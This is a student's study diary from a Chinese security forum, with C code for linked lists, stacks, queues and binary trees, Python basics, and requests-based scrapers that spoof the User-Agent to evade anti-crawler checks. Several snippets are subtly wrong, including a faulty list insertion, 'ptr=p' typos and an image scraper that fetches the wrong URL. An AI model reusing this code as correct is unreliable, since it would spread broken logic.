安全矩阵

 找回密码
 立即注册
搜索
查看: 1584|回复: 7

周婷学习日记

[复制链接]

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
发表于 2020-2-18 21:14:23 | 显示全部楼层 |阅读模式
周婷学习日记
回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2020-2-20 15:57:17 | 显示全部楼层
本帖最后由 Delina 于 2020-3-6 18:48 编辑

2020/2/20日学习日记:
最近这几天复习了一下关于上学期关于数据结构的内容,目前主要看了关于链表的知识,总结如下,部分内容主要参考与MOOC慕课和CSDN博客:
关于顺序表和链表的优缺点及适用场合:1.顺序表:可以随意访问表中任意位置的元素,但是其删除和添加元素困难,适合大量排序,顺序表的创建简单,需要一片连续的地址空间,所占内存小,适用于大量访问或排序,但是不适用于大量删除和添加元素的情形。2.链式表:不能随意访问,但是删除和添加元素简单,大量排序比较困难,而且创建和编写比顺序表复杂,内存的地址不是连续的,占用的空间也比较大。适用于需要经常大量删除和增加元素但不需要经常访问元素的情景。
单向链表的结构结点定义:
  1. typedef struct Lnode//结点类型
  2. {
  3.         int data;//值域
  4.         struct Lnode *next;//链域
  5. }Lnode,*LinkList;//结点类型名和指针类型名
  6. LinkList head,p,l;//定义指针类型变量
复制代码

malloc()用法,结点的产生
p=(LinkList)malloc(sizeof(Lnode))
链表的构造:
空链表的构造:
  1. int InitList(LinkList &L) {
  2.         //构造一个空的单链表L
  3.         L = new LNode;
  4.         L->next = NULL;
  5.         return OK;
  6. }
复制代码

后插入法输入数据:
  1. void CreateList_R(LinkList &L, int n) {
  2.         L = new LNode;    //先建立一个带头结点的空链表
  3.         L->next = NULL;
  4.         LinkList r;
  5.         r = L;    //尾指针r指向头结点
  6.         for (int i = 0; i < n; ++i) {
  7.                 LinkList p = new LNode;   //生成新结点
  8.                 scanf("%d",p->data.no);   //输入元素值赋值给新结点*p的数据域
  9.                 <font color="Red">p->next = NULL;</font>
  10.                 <font color="Red">r->next = p; </font> //将新结点*p插入尾结点*r之后
  11.                 <font color="Red">r = p; </font>   //r指向新的尾结点*p
  12.         }
  13. }
复制代码

链表里面元素值的获取:
  1. int GetElem(LinkList L, int i, BOOK &e) {
  2.         //在带头结点的单链表L中根据序号i获取元素的值,用e返回L中的第i个数据元素的值
  3.         int j = 1;    //初始化,计数器j初赋值为1
  4.         LNode *p;
  5.         p = L->next;  //初始化,p指向首元结点
  6.         while (p&&j < i) {
  7.                 ++j;        //计数器j相应加1
  8.                 p = p->next;  //p指向下一个结点
  9.         }
  10.         if (!p || j > i)
  11.                 return ERROR;   //i值不合法,i>n或i<=0
  12.         e = p->data;      //取第i个结点的数据域
  13.         return OK;
  14. }
复制代码

向后插入数据:
  1. int ListInsert_R(LinkList &L, int i, BOOK e) {  //在第i个后插入
  2.         //在带头结点的单链表L中第i个位置插入值e的新结点
  3.         LinkList p;
  4.         int j = 0;
  5.         p = L;
  6.         while (p && (j < i - 1)) {
  7.                 <font color="Red">p = p->next;</font>
  8.                 ++j;        //查找第i-1个结点,p指向该结点
  9.         }
  10.         if (!p || (j > i - 1))
  11.                 return ERROR;   //i>n+1 或 i<1
  12.         LinkList s = new LNode;   //创建新结点*s
  13.         <font color="Red">s->data = e; </font> //将结点*s的数据域置为e
  14.         <font color="Red">s->next = p->next->next;  </font>  //将结点*s的指针域指向结点ai
  15.         <font color="Red">p->next->next = s; </font> //将结点*p的指针域指向结点*s
  16.         return OK;
  17. }
复制代码

删除链表中数据元素:
  1. int ListDelete(LinkList &L, int i) {  //在第i个后插入
  2.         //再带头结点的单链表L中,删除第i个元素
  3.         int j = 0;
  4.         LinkList p;
  5.         p = L;
  6.         while ((p->next) && (j < i - 1)) { //查找第i-1个结点,p指向该结点
  7.                 ++j;
  8.                 p = p->next;
  9.         }
  10.         if (!(p->next) || (j > i - 1)) //当i>n或i<1时,删除位置不合理
  11.                 return ERROR;
  12.         LinkList q;
  13.         <font color="Red">q = p->next;</font>  //临时保存被删结点的地址以备释放
  14.         <font color="Red">p->next = q->next;  </font>  //改变删除结点前驱结点的指针域
  15.         <font color="Red">delete q;</font>   //释放删除结点的空间
  16.         return OK;
  17. }
复制代码

关于系数多项式的求和:
P=8+10x^2+108x^100
Q=5x^2+90x^101-300x^135
求P+Q
如果采用顺序表存储数据,将会造成大量的空间浪费,所以采用链式表的结构,来存储多项式的数据。在定义数据结构时,需要定义两个数据域,一个存储系数ceof,另一个存储指数exp:
  1. typedef struct node
  2. {
  3.         <font color="#ff0000">float coef;</font>//系数域
  4.         <font color="#ff0000">int exp;</font>//指数域
  5.         struct node *next;
  6. }Lnode,*LinkList
  7. void main()
  8. {
  9.         ...
  10.         pa=createlinkA();//创建多项式
  11.         pb=createlinkB();//创建多项式
  12.         pa=Add(pa,pb);//多项式求和
  13.         ...
  14. }
复制代码

求和主要算法:
  1. int Add(LinkList A, LinkList B)  //加法
  2. {
  3.     LinkList C,S;
  4.     LinkList pa,pb,pc;
  5.     float x;
  6.     pa = A->next;
  7.     pb = B->next;
  8.     C = (LinkList )malloc(sizeof(snode ));  // 申请头节点
  9.     pc = C;   // 操作时使用pc指针
  10.     pc->next = NULL;
  11.     while (pa && pb)
  12.     {
  13.         if(pa->exp == pb->exp)  // 指数相等时
  14.         {
  15.             x = pa->coef + pb->coef;
  16.             if (x)     // 相加完的系数不为0时
  17.             {
  18.                 S = (LinkList )malloc(sizeof(snode ));
  19.                <font color="#ff0000"> S->coef = x;</font>
  20.                 <font color="#ff0000">S->exp = pa->exp;
  21.                 S->next = NULL;
  22.                 pc->next = S;
  23.                 pc = S;</font>
  24.             }
  25.             pa = pa->next;
  26.             pb = pb->next;
  27.         }
  28.         else
  29.             if(pa->exp < pb->exp)   //指数不相等且A项指数小于B项指数时
  30.             {
  31.                 S = (LinkList )malloc(sizeof(snode ));
  32.                 <font color="#ff0000">S->coef = pa->coef;
  33.                 S->exp = pa->exp;
  34.                 S->next = NULL;
  35.                 pc->next = S;
  36.                 pc = S;
  37.                 pa = pa->next;</font>
  38.             }
  39.             else   //指数不相等且A项指数大于B项指数时
  40.             {
  41.                 S = (LinkList )malloc(sizeof(snode ));
  42.                <font color="#ff0000"> S->coef = pb->coef;
  43.                 S->exp = pb->exp;
  44.                 S->next = NULL;
  45.                 pc->next = S;
  46.                 pc = S;
  47.                 pb = pb->next;</font>
  48.             }
  49.     }//多项式相加不会对齐,当其中链表尾多出几项时,将其合并到一个表中
  50.     while (pa)   //A链表后几项多出来时
  51.     {
  52.         S = (LinkList )malloc(sizeof(snode ));
  53.         S->coef = pa->coef;
  54.         S->exp = pa->exp;
  55.         S->next = NULL;
  56.         pc->next = S;
  57.         pc = S;
  58.         pa = pa->next;
  59.     }
  60.     while (pb)   //B链表后几项多出来时
  61.     {
  62.         S = (LinkList )malloc(sizeof(snode ));
  63.         S->coef = pb->coef;
  64.         S->exp = pb->exp;
  65.         S->next = NULL;
  66.         pc->next = S;
  67.         pc = S;
  68.         pb = pb->next;
  69.     }
  70.     return C;
  71. }
复制代码

以上知识主要是对上学期数据结构的复习与加深,通过回看慕课和程序的练习编写,使得对链表的使用更加熟练,熟悉了数据结构,在解决其他问题时也变得方便容易得多。下一部分准备复习栈和队列的相关知识。
回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2020-2-24 15:14:58 | 显示全部楼层
本帖最后由 Delina 于 2020-3-9 17:44 编辑

2020/2/24学习日记
今天我复习了栈和队列,进行了个大概总结:
栈:只能在一端进行插入和删除操作的特殊线性表,遵循后进先出的原则。根据前面学过的链式表和顺序表,栈也有两种实现方式,链式栈和顺序栈。
先看顺序栈:
  1. #define EMPTY -1//空栈的栈顶指针
  2. const int m=1000;//定义栈的空间大小
  3. int s[m];//定义顺序栈
  4. //程序执行期间,将会不定时的入栈出栈,开始时栈空,栈顶指针的值为EMPTY
  5. int push(int s[],int &top,int x)//进栈函数
  6.     {
  7.          if(top==m-1) return 0;//表示栈满,不能进栈
  8.          s[++top]=x;
  9.          return 1;//表示进栈成功
  10.     }
  11. int pop(int s[],int &top,int &x)//出栈函数
  12.     {
  13.          if(top==EMPTY) return 0;//表示栈空,不能出栈
  14.          x=s[top--];
  15.          return 1;//表示出栈成功
  16.     }
复制代码

进出栈的时间复杂性均为T(n)=O(1)
链栈的算法构造:
首先定义数据结构
  1. typedef struct snode
  2. {
  3.     int data;
  4.     struct snode *next;
  5. }snode,*ptr;
复制代码

进栈算法:
  1. int push(ptr &top,int x)
  2. {
  3.     ptr=p;
  4.     p=new snode;//申请结点
  5.     if(p==NULL) return 0;//申请失败
  6.     p->data=x;//进栈
  7.     p->next=top;//表头插入法
  8.     top=p;//修改表头指针
  9.     return 1;
  10. }
  11. int pop(ptr &top,int &x)
  12. {
  13.     ptr=p;
  14.     if(top==NULL) return 0;//退栈失败,栈空
  15.     x=p->data;
  16.     p=top;//表头删除法
  17.     top=top->next;
  18.     free(p);
  19.     return 1;//退栈成功
  20. }
复制代码

关于一个栈的应用:表达式求值,具体算法思想如下
由于表达式中既有运算符,又有操作数,所以为了区分开,需要两个栈来存储数据,还需要判别运算符的优先级别,举一个例子:计算表达式a+b*c^d-e/f:
首先准备两个栈,设S栈存储操作数,F栈存储运算符,根据优先级可知,运算顺序为
(1)t1=c^d
(2)t2=b*t1
(3)t3=a+t2
(4)t4=e/f
(5)t5=t3-t4
运算规则:
若当前输入为数,则数进S栈;
若为符,则需与栈顶符比较,优先级高于栈顶符则进F栈,否则做栈顶运算符,符、数出栈。
输入:a+b*c^d-e/f#
实现过程:首先输入字母a,a为数,进S栈;输入字符“+”,进F栈;
输入字母b,进S栈;输入字符"*",与栈顶字符比较,优先级高于栈顶字符,进F栈;输入字母c,进S栈;输入字符“^”,与栈顶符比较优先级高,进F栈;输入字母d,进S栈;输入字符“-”,优先级低于栈顶符,栈顶符运算,t1=c^d,字母c、d和字符“^”出栈,“*”为栈顶符,再次比较,又做运算t2=b*t1,"*',b出栈,再做运算t3=a+t2,"+"和a出栈;e进S栈;输入“/”,进F栈;f进S栈;输入“#”,做运算t4=e/f,"/"和e,f出栈再做运算t5=t3-t4,"-"出栈;#是算法结束的标识符,运算结束。
队列:
队列跟栈不同在于,队列遵循先进先出的原则,银行的排队系统等就是使用的队列。队列元素的插入在一端进行,出队则在另一端实现,利用顺序队实现,则有一个last指针指向队尾,first指针指向队头,这种方法比较麻烦。在判断是否队空时,用first=last=i(i是0~m-1之间的任一值),但是判断队满也是这个表示方法,无法区分,所以为了使得算法清晰,而且让队列表可以重复使用,我们采用循环队列,并且少用一个单元,其特点就是可以重复使用已退队元素。
这时判断队满表达式为:(last-first+m)%m=0,判断队空为:first=last=0;
其算法的实现如下:
顺序队算法:
  1. int addq(int a[],int first,int &last,int x)
  2. {
  3.     if((last+1)%m==first) return 0;//队满
  4.     q[last]=x;
  5.     last=(last+1)%m;
  6.     return 1;//进队成功
  7. }
  8. int delq(int a[],int &first,int last,int &x)
  9. {
  10.     if(last==first) return 0;//队空
  11.     x=q[first];
  12.     first=(first+1)%m;
  13.     return 1;//出队成功
  14. }
复制代码

链式队:采用单向加头链表结构,first为首指针,last为尾指针。进队时,将新节点插在表尾处,last移向新节点;出队时,将头节点后的第一个元素出队,删除头结点。
  1. int saddq(ptr &last,int x)
  2. {
  3.     ptr p;
  4.     p=(ptr)malloc(sizeof(snode));
  5.     if(p==NULL) return 0;//空间分配失败
  6.     p->data=x;
  7.     last->next=p;//表尾插入法
  8.     last=p;
  9.     last->next->NULL;
  10.     return 1;//进队成功
  11. }
  12. int sdelq(ptr &last,ptr &first,int &x)
  13. {
  14.     ptr p;
  15.     if(first==last) return 0;//队空
  16.     p=first;//表头删除法
  17.     first=p->next;
  18.     x=first->data;//x出队
  19.     free(p);
  20.     return 1;//出队成功
  21. }
复制代码

啊哈,写得有点累了,先到这儿吧,等到下一次复习了再写一些
回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2020-3-6 18:34:06 | 显示全部楼层
本帖最后由 Delina 于 2020-3-9 17:45 编辑

2020/3/6学习日记
树的相关算法
关于树的存储方法,一般有三种存储:多重链接,儿子兄弟链,父亲链域。
多重链接法:
数据结构定义如下
  1. typedef struct tnode
  2. {
  3. element_type data;
  4. struct tnode *son[m];
  5. }tnode,*tptr;
  6. tptr root;
复制代码

链域的利用率:(n-1) / n*m=1/m,该种存储方式耗费的空间很大,而且找”父亲“和”儿子“很难。
儿子兄弟链:
  1. typedef struct tnode
  2. {
  3.     element_type data;
  4.     struct tnode *son,*lbrother;//指向第一个儿子,第一个兄弟的链域
  5. }tnode,*tptr;
复制代码
这种方法找”儿子“和”兄弟“容易,但是找”父亲“难。
父亲链域法:
  1. typedef struct tnode
  2. {
  3. element_type data;
  4. int father;//父节点存储于数组中的下标
  5. }tnode;
  6. tnode tree[n];;//n为节点数
  7. int root;//定义根节点
复制代码
数组的下标是结点的编号,就像静态链表,这种方法由”儿子“找到”父亲“容易,但是反过来找就很困难。
关于二叉树的存储:分为静态和动态存储
双链法:
  1. typedef  int element_type;
  2. typedef struct bnode
  3. {
  4.     element_type data;
  5.     struct bnode *lson,*rson;
  6. }bnode *bptr;//二叉树结点
  7. bptr root;
  8. typedef struct btree
  9. {
  10.     char *name;
  11.     bptr root;
  12. }btree;//二叉树
复制代码
找”子“易i,找”父“难,完全二叉树的顺序存储法:直接定位父与子。
二叉树的遍历:
先序遍历:根->左->右
中序遍历:左->根->右
后序遍历:左->右->根
实现树的遍历:(采用双链表结构)
  1. void preorder(bptr p)//先序遍历二叉树
  2. {
  3.     if(!p) return;
  4.     visit(p);
  5.     preorder(p->lson);
  6.     preorder(p->rson);
  7. }//T(n)=O(n)
复制代码
每个结点都要访问一次,共有n此(非空)调用,每个空子树也要递归调用一次,共有n+1次空调用,为了小区这种空调用,可将递归部分改为:
  1. if(p->lson)preorder(p->lson);
  2. if(p->rson)preorder(p->rson);
复制代码
关于中序遍历和后序遍历,同样采用递归的办法,根据遍历原则调换左右子树遍历和visit(p)的顺序即可。
递归遍历算法总实现:
void traversal(bptr p)
{
    if(!p)return;
    先序访问(p);
    traversal(p->lson);
    中序访问(p);
    traversal(p->rson);
    后序访问(p);
}
通过二叉树的遍历可以实现求二叉树的叶子树,结点的度、层数、高度、子孙等。
1.求个节点的层数:
  1. void level(bptr p,int i)
  2. {
  3.     if(!p)return;
  4.     p->layer=i;
  5.     level(p->lson,i+1);
  6.     level(p->rson,i+1);
  7. }
复制代码
2.求个节点的高度:
  1. int high(bptr p)
  2. {
  3.     int i,j;
  4.     if(!p)return 0;
  5.     i=high(p->lson);
  6.     j=high(p->rson);
  7.     p->height(i>j)?i+1:j+1;
  8. return(p->height);
  9. }
复制代码
3.求结点a的子孙:
  1. void descents(bptr p,element_type a)
  2. {
  3.     if(!p)return;
  4.     if(p->data==a)found=1;//a子孙开始
  5.     if(found==1)printf("%4d",p->data);
  6.     descents(p->lson,a);
  7.     descents(p->rson,a) ;
  8.     if(p->data==a)found=0;//a子孙结束
  9. }
复制代码
小结:先序遍历可求二叉树各结点层数
         后序遍历求二叉树各结点的高度
         先序和后续相结合求给定结点的所有子孙
         采用何种遍历取决于对二叉树进行的操作
二叉树的构造:
根据二个序列(必须含有中序)可以唯一确定二叉树的结构,例如:用先序序列ABCDEFGH+中序序列BDCEAGFH构造出的二叉树如下:
                              A
                           /      \
                          B        F
                            \      /  \
                             C   G   H
                           /    \
                          D     E
编程实现先序和中序序列构造一棵二叉树:
数组a[n],b[n]分别存储二叉树的先序和中序序列
递归构造函数如下:
函数头:bptr buildtree(int a[],int b[],int i,int j,int s,int t)
a~a[j]是子树的先序序列
b~b[t]是子树的中序序列
子树构造完毕,返回指向其根节点的指针
主调语句:root=buildtree(a,b,0,n-1,0,n-1);
  1. bptr buildtree(int a[],int b[],int i,int j,int s,int t)
  2. {
  3.     int k;bptr p;
  4.     if(i>j)return NULL;
  5.     p=newbptr();//产生一个结点
  6.     p->daata=a[i];//造根节点
  7.     k=s;
  8.     while(k<=t)&&(b[k]!=a[i])) k++;//在中序序列中找根
  9.     if(k>t) exit(ERROR);//未找到根,出错退出
  10.     p->lson=buildtree(a,b,i+1,i+k-s,s,k-1);//递归构造左子树
  11.     p->rson=buildtree(a,b,i+k-s+1,j,k+1,t);递归构造右子树
  12.     return p;//
  13. }
复制代码
可以通过扩充先序序列构造唯一一棵二叉树,一边读结点序列一边构造:先序遍历二叉树时,如果当前要哦访问的结点不空,就几下这个结点值;如果为空,就几下”空“字所得的遍历序列。
扩充的先序序列:A,B,D,0,H,0,0,E,0,I,0,0,C,F,0,0,G,J,0,K,0,0,0
  1. bptr pre_create()
  2. {
  3. bptr p;
  4. scanf("%d",&x);
  5. if(x==ZERO)return NULL;
  6. p=newbptr();
  7. p->data=x;
  8. p->lson=pre_create();
  9. p->rson=pre_create();
  10. return p;
  11. }
复制代码





回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2020-3-9 17:38:58 | 显示全部楼层
本帖最后由 Delina 于 2020-3-9 17:46 编辑

2020/3/9学习日记
今天是关于python的一些语法的加深,摘要一些重点(摘自菜鸟教程):
python中的[:-1]和[::-1]用法说明:
  1. <b>b = a[i:j]   # 表示复制a[i]到a[j-1],以生成新的list对象
  2. a = [0,1,2,3,4,5,6,7,8,9]
  3. b = a[1:3]   # [1,2]
  4. # 当i缺省时,默认为0,即 a[:3]相当于 a[0:3]
  5. # 当j缺省时,默认为len(alist), 即a[1:]相当于a[1:10]
  6. # 当i,j都缺省时,a[:]就相当于完整复制一份a
  7. b = a[i:j:s]    # 表示:i,j与上面的一样,但s表示步进,缺省为1.
  8. # 所以a[i:j:1]相当于a[i:j]
  9. # 当s<0时,i缺省时,默认为-1. j缺省时,默认为-len(a)-1
  10. # 所以a[::-1]相当于 a[-1:-len(a)-1:-1],也就是从最后一个元素到第一个元素复制一遍,即倒序。</b>
复制代码

用字典记录学生名字和分数,再分级:
  1. <b>#!/usr/bin/python3

  2. students= {}
  3. write = 1
  4. while write :
  5.     name = str(input('输入名字:'))
  6.     grade = int(input('输入分数:'))
  7.     students[str(name)] = grade
  8.     write= int(input('继续输入?\n 1/继续  0/退出'))
  9. print('name  rate'.center(20,'-'))
  10. for key,value in students.items():
  11.     if value >= 90:
  12.         print('%s %s  A'.center(20,'-')%(key,value))
  13.     elif 89 > value >= 60 :
  14.         print('%s %s  B'.center(20,'-')%(key,value))
  15.     else:
  16.         print('%s %s  C'.center(20,'-')%(key,value))</b>
复制代码
测试结果
输入名字:a输入分数:98继续输入 1/继续  0/退出1
输入名字:b
输入分数:23
继续输入
1/继续  0/退出0
-----name  rate----
-------a 98  A-------
-----b 23  C------

关于集合中字符串的添加:
s.update( "字符串" ) 与 s.update( {"字符串"} ) 含义不同:
  • s.update( {"字符串"} } 将字符串添加到集合中,有重复的会忽略。
  • s.update( "字符串" ) 将字符串拆分单个字符后,然后再一个个添加到集合中,有重复的会忽略。
    1. <b>>>> thisset = set(("Google", "Runoob", "Taobao"))
    2. >>> print(thisset)
    3. {'Google', 'Runoob', 'Taobao'}
    4. >>> thisset.update({"Facebook"})
    5. >>> print(thisset)
    6. {'Google', 'Runoob', 'Taobao', 'Facebook'}
    7. >>> thisset.update("Yahoo")
    8. >>> print(thisset)
    9. {'h', 'o', 'Facebook', 'Google', 'Y', 'Runoob', 'Taobao', 'a'}
    10. </b>
    复制代码
    关于set的一些用法,可以用在两个列表或者元组合并时,删除其中相同的元素,而且集合还有直接排序(升序)的功能。在往集合里面添加值时,如果不加括号,则python会自动将字符串拆分成一个个的字符存储到集合里面,例如:
  • >>> thisset = set(("Google", "Runoob", "Taobao", "Facebook"))
  • >>> y=set({'python'})
  • >>> print(y.union(thisset)){'python', 'Taobao', 'Google', 'Facebook', 'Runoob'}
    输出结果:
    {'python', 'Google', 'Taobao', 'Facebook', 'Runoob'}
    y 的集合里此时只含有一个元素 'python',而如果不加花括号时,y 的集合里含有'p','y','t','h','o','n'五个元素。
    >>> thisset = set(("Google", "Runoob", "Taobao", "Facebook"))
  • >>> y=set('python')
  • >>> print(y.union(thisset)){'p', 'o', 'y', 'Taobao', 'h', 'Google', 'Facebook', 'Runoob', 'n', 't'}
    也可以使用括号:
    thisset = set(("Google", "Runoob", "Taobao", "Facebook"))y=set(('python','love'))print(y.union(thisset))
    输出结果:
    {'Facebook', 'Runoob', 'Taobao', 'python', 'love', 'Google'}
    但是当 y 的集合里只有一个字符串时,结果与不加花括号一样。
  • 尝试写斐波那契数列,用之前的c语言知识可知,我们可以用函数的递归来写:
    1. <b>def fab(n):
    2.     if n<1:
    3.         print('输入有误!')
    4.         return -1   
    5.     if n==1 or n==2:
    6.         return 1   
    7.     else:
    8.         return fab(n-1)+fab(n-2)</b>
    复制代码
    虽然编写简单,但是耗费的时间和空间比较大,根据python的赋值方式,可以改写成:
    1. <b>#!/usr/bin/python3

    2. # Fibonacci series: 斐波纳契数列
    3. # 两个元素的总和确定了下一个数
    4. a, b = 0, 1
    5. while b < 10:
    6.     print(b)
    7.     a, b = b, a+b</b>
    复制代码
    a,b=b,a+b是两个同时赋值,为了直观地看出两种写法的时间消耗,可以在程序执行前面添加start=time.time(),在递归或者循环结束添加end=time.time(),便可计算出各自程序计算所花时间,进行直观对比。


循环语句:用python中的循环语句写经典的冒泡排序算法,主要掌握:for i in range(n)的用法:
  1. <b># python 冒泡排序

  2. def paixu(li) :
  3.     max = 0
  4.     for ad in range(len(li) - 1):
  5.         for x in range(len(li) - 1 - ad):
  6.             if li[x] > li[x + 1]:
  7.                 max = li[x]
  8.                 li[x] = li[x + 1]
  9.                 li[x + 1] = max
  10.             else:
  11.                 max = li[x + 1]
  12.     print(li)
  13. paixu([41,23344,9353,5554,44,7557,6434,500,2000])</b>
复制代码
复习的东西比较基础,但是觉得还是比较重要,所以先记下来,说不定以后拿来复习能够用得到,python还在继续学习中,慢慢加油!





回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2021-3-5 19:15:54 | 显示全部楼层
2021/3/5学习日记(寒假总结一)
寒假家中学的Python爬虫相关知识,进行了简单总结,目前还在学习
1.网页爬取:
2.百度词条搜索
UA伪装:
  1. #UA伪装
  2. # User-Agent:
  3. # 请求载体身份标识,通过浏览器发起的请求,请求载体为浏览器,则该请求的User-Agent为浏览器的身份标识,
  4. # 如果使用爬虫程序发起的请求,则该请求的载体为爬虫程序,则该请求的User-Agent为爬虫程序的身份标识。
  5. # 服务器可以通过该值来判断发起请求的是浏览器还是爬虫程序。

  6. # 反爬机制:
  7. # 某些门户网站会对访问该网站的请求中的User-Agent进行捕获和判断,如果该请求的UA为爬虫程序,那么就拒绝该提供请求数据。

  8. # 反反爬策略:
  9. # 将爬虫的UA伪装成某一款浏览器的身份标识
复制代码
爬取器
  1. #爬取百度指词条对应的搜索结果页面
  2. #网页采集器
  3. import requests
  4. if __name__ == "__main__":
  5.     #UA伪装:将对应的User-Agent封装到一个字典中
  6.     header = {
  7.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  8.     }
  9.     url = "https://www.baidu.com/s"
  10.     #处理携带的参数:封装到字典中
  11.     kw = input('录入一个关键词:')
  12.     param = {
  13.         'wd':kw
  14.     }
  15.     #对指定的URL发起的请求对应的URL是带参数的,并且请求过程中处理了参数
  16.     response = requests.get(url = url,params = param,headers = header)
  17.     page_text = response.text
  18.     fileName = kw+'.html'
  19.     with open(fileName,'w',encoding='utf-8')as fp:
  20.         fp.write(page_text)
  21.     print(fileName,"保存成功")
复制代码
3.爬取百度翻译
  1. #破解百度翻译
  2. # POST请求(携带了参数)
  3. # 响应数据是一组json数据
  4. import requests
  5. import json
  6. if __name__ == "__main__":
  7.     post_url = 'https://fanyi.baidu.com/sug'
  8.     #进行UA伪装
  9.     header = {
  10.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  11.     }
  12.     word = input('enter a word:')
  13.     data = {
  14.         'kw':word
  15.     }
  16.     response = requests.post(url=post_url,data=data,headers=header)
  17.     #json方法返回的是对象obj(确认响应数据是json才可以使用)
  18.     dic_obj=response.json()
  19.     fileName = word+'.json'
  20.     fp=open(fileName,'w',encoding='utf-8')
  21.     json.dump(dic_obj,fp=fp,ensure_ascii=False)
  22.     print('over')
复制代码
4.爬取豆瓣电影排行榜
  1. import requests
  2. import json
  3. if __name__=="__main__":
  4.     url='https://movie.douban.com/j/chart/top_list'
  5.     param={
  6.         'type':'13',
  7.         'interval_id':'100:90',
  8.         'action':'',
  9.         'start':'1',#从库中第几部电影去取
  10.         'limit':'20',#一次取出个数
  11.     }
  12.     header = {
  13.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  14.     }
  15.     response = requests.get(url=url,params=param,headers=header)
  16.     list_data = response.json()
  17.     fp = open('./douban.json','w',encoding='utf-8')
  18.     json.dump(list_data,fp=fp,ensure_ascii=False)
  19.     print('over')
复制代码
5.爬取肯德基页面
  1. import requests
  2. import json
  3. if __name__ == "__main__":
  4.     post_url = 'http://www.kfc.com.cn/kfccda/ashx/GetStoreList.ashx?op=keyword'#post请求需携带参数
  5.    
  6.     keyword = input('input a keyword:')
  7.     param = {
  8.         'cname':'',
  9.         'pid':'',
  10.         'keyword':keyword,
  11.         'pageindex':'1',
  12.         'pageSize':'10',
  13.     }
  14.     header = {
  15.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  16.     }
  17.     response = requests.post(url=post_url,params=param,headers=header)
  18.     page_text = response.text
  19.     fileName = keyword+'.html'
  20.     with open(fileName,'w',encoding='utf-8')as fp:
  21.         fp.write(page_text)
  22.     print(fileName,"保存成功")
复制代码
6.动态加载数据
  1. #-动态加载数据
  2. #-首页对应的企业信息数据是通过ajax动态请求到的

  3. import requests
  4. import json
  5. #批量抓取不同企业的ID值
  6. url = 'http://scxk.nmpa.gov.cn:81/xk/itownet/portalAction.do?method=getXkzsList'
  7. header = {
  8.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  9.     }
  10. all_data_list = []#存储所有的企业详情数据
  11. id_list = []
  12. for page in range(1,6):#获取前五页的所有企业详情数据
  13.     page = str(page)
  14.     #参数的封装
  15.     data = {
  16.         'on':"true",
  17.         'page': '1',
  18.         'pageSize': '15',
  19.         'productName': '',
  20.         'applyname': '',
  21.         'conditionType': '1',
  22.         'applysn':'',
  23.     }
  24.     json_ids = requests.post(url=url,headers=header,data=data).json()
  25.     for dic in json_ids['list']:
  26.         id_list.append(dic['ID'])
  27. # print(id_list)
  28. #获取企业详情数据
  29. post_url = 'http://scxk.nmpa.gov.cn:81/xk/itownet/portalAction.do?method=getXkzsList'
  30. for id in id_list:
  31.     data = {
  32.         'id':id
  33.     }
  34.     detail_json=requests.post(url=post_url,headers=header,data=data).json()
  35.     # print(detail_json,'-----end\n')
  36.     all_data_list.append(detail_json)
  37. #持久化存储
  38. fp = open('./alldata.json','w',encoding='utf-8')
  39. json.dump(all_data_list,fp=fp,ensure_ascii=False)
  40. print('over!!!!!!')
复制代码



回复

使用道具 举报

27

主题

34

帖子

206

积分

中级会员

Rank: 3Rank: 3

积分
206
 楼主| 发表于 2021-3-5 19:18:01 | 显示全部楼层
2021/3/5学习日记(寒假总结二)
7.正则练习
  1. #W如何爬取图片数据
  2. #爬取糗事百科中图片板块下所有图片
  3. import requests
  4. import re
  5. import os
  6. #创建一个文件夹,保存所有图片
  7. if not os.path.exists('./qiutulibs'):
  8.     os.mkdir('./qiutulibs')

  9. url = 'https://www.qiushibaike.com/imgrank/'
  10. header = {
  11.         'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
  12.     }
  13. page_text = requests.get(url=url,headers=header).text
  14. #用聚焦爬虫将页面中所有图片进行解析提取

  15. # <div class="thumb">

  16. # <a href="/article/124107906" target="_blank">
  17. # <img src="//pic.qiushibaike.com/system/pictures/12410/124107906/medium/B4X3WB7W5H8LOO4F.jpg" alt="糗事#124107906" class="illustration" width="100%" height="auto">
  18. # </a>
  19. # </div>

  20. ex = '<div class="thumb">.*?<img src="(.*?)" alt.*?</div>'
  21. img_src_list = re.findall(ex,page_text,re.S)#re.S单行匹配
  22. # print(img_src_list)
  23. for src in img_src_list:
  24.     #拼接出一个完整的图片URL
  25.     src = 'https'+src
  26.     #请求到
  27.     img_data = requests.get(url=url,headers=header).content
  28.     #生成图片名称
  29.     img_name = src.split('/')[-1]
  30.     #图片存储路径
  31.     imgPath = './qiutulibs'+img_name
  32.     with open(imgPath,'wb') as fp:
  33.         fp.write(img_data)
  34.         print(img_name,'下载成功')
复制代码
8.bs4解析
  1. # bs4进行数据解析
  2. #     -数据解析原理:
  3. #         1.标签定位
  4. #         2.提取标签、标签属性中存储的数据值
  5. #     -bs4数据解析的原理
  6. #         1.实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中
  7. #         2.通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取
  8. #     -环境安装:
  9. #         1.pip install bs4
  10. #         2.pip install  lxml
  11. #     -如何实例化对象:
  12. #         1.from bs4 import BeautifulSoup
  13. #         2.对象的实例化:
  14. #             1.将本地的html文档中的数据加载到该对象中
